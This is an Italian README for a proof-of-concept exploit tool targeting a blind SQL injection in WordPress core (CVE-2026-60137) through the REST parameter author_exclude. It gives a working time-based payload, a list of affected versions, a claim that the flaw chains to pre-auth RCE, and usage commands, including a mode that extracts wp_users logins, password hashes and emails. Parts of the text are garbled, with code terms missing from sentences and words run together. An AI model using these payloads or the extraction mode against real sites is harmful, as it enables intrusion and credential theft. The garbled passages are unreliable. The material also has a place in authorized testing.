
Harness di verifica e proof-of-concept non distruttivo per CVE-2026-60137, una SQL injection cieca nel core di WordPress (`WP_Query::author__not_in`), raggiungibile tramite il parametro `author_exclude` dell'API REST.
Prova di concetto non distruttiva e strumento di verifica per CVE-2026-60137, una SQL injection cieca nel core di WordPress (WP_Query::author__not_in), raggiungibile tramite il parametro author_exclude dell'API REST.
WP_Query::get_posts() costruisce l'SQL concatenando in stringa la variabile di query author__not_in all'interno di:
... AND {wpdb->posts}.post_author NOT IN ( <value> )
Il valore viene sanificato (absint per elemento) solo quando arriva come array. Se viene fornita una stringa scalare — il parametro REST author_exclude viene mappato internamente a — il controllo di sanificazione viene saltato e la stringa grezza finisce nella clausola , causando una SQL injection ().
author__not_inis_array()NOT IN (...)Un payload della forma 1) OR SLEEP(6)# produce:
post_author NOT IN ( 1) OR SLEEP(6)# )
che viene interpretato come post_author NOT IN (1) OR SLEEP(6) (la ) finale viene consumata dal commento #) — un oracolo cieco basato sul tempo, pulito e senza alcuna scrittura sul database.
| Versioni affette | 6.8.0 – 6.8.5, 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| Versioni corrette | 6.8.6, 6.9.5, 7.0.2 (2026-07-17) |
| CVSS 3.1 | AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N → 5.9 (sink isolato) |
| Combinata | con CVE-2026-63030 (confusione di route REST batch) → 9.8 RCE pre-auth su 6.9.0 – 7.0.1 |
/wp-json/batch/v1.author_exclude scalare (HTTP 400) sulla route posts predefinita, quindi il sink è tipicamente raggiungibile solo quando un plugin/tema inoltra input non attendibile, oppure tramite una sessione autenticata (--cookie) attraverso la route batch.cve_2026_60137_poc.py è in sola lettura sul database:
readme.html, indice /wp-json/) per verificare se la versione rientra in un intervallo affetto.SLEEP(0) e a un payload SLEEP(n), attraverso diversi vettori di consegna (route REST dirette, ?rest_route= e l'endpoint batch), e riporta un verdetto per ciascun vettore.wp_users (user_login, user_pass, user_email) tramite timing cieco a ricerca binaria, usando rigorosamente SELECT/SLEEP — non scrive mai sul database.# Fingerprint only, no payloads sent
python3 cve_2026_60137_poc.py --url https://target --safe
# Run the detection matrix
python3 cve_2026_60137_poc.py --url https://target --sleep 6 --samples 3
# Authenticated session + extract wp_users row 1
python3 cve_2026_60137_poc.py --url https://target \
--cookie 'wordpress_logged_in_XXX=YYY' --extract --user-id 1
# Route through Burp, skip TLS verification, save machine-readable evidence
python3 cve_2026_60137_poc.py --url https://target \
--proxy http://127.0.0.1:8080 --no-verify-tls --json-out evidence.json
| Flag | Predefinito | Descrizione |
|---|---|---|
--url | obbligatorio | URL di base del target |
--safe | disattivato | Solo impronta; non invia payload |
--sleep | 6 | Secondi di SLEEP() usati dall'oracolo di rilevamento |
--samples | 3 | Campioni di timing per misurazione (viene usata la mediana) |
--threshold | 0.7 | Frazione di --sleep considerata un delta positivo |
--extract | disattivato | Estrae una riga di wp_users tramite l'oracolo cieco |
--user-id | 1 | wp_users.ID da estrarre |
--extract-sleep | 2.0 | Secondi di SLEEP() per probe di estrazione |
--limit | 64 | Numero massimo di caratteri per campo estratto |
--only-vector | — | Testa solo i vettori il cui nome contiene questa stringa |
--cookie | — | Cookie autenticato per i vettori protetti da autenticazione |
--proxy | — | Proxy HTTP(S), ad es. http://127.0.0.1:8080 (Burp) |
--timeout | 30 | Timeout delle richieste in secondi |
--no-verify-tls | disattivato | Disabilita la verifica dei certificati TLS |
--json-out | — | Scrive le evidenze leggibili da macchina in un file JSON |
Questo strumento è fornito solo per test di sicurezza autorizzati — penetration test, CTF e ricerca su sistemi di tua proprietà o per i quali disponi di esplicita autorizzazione scritta a effettuare valutazioni. Eseguirlo su sistemi senza autorizzazione è illegale. L'autore non si assume alcuna responsabilità per un uso improprio.
Qualsiasi output scritto con --json-out può contenere l'URL testato, l'impronta di versione ed evidenze temporali — trattalo come dato sensibile dell'engagement.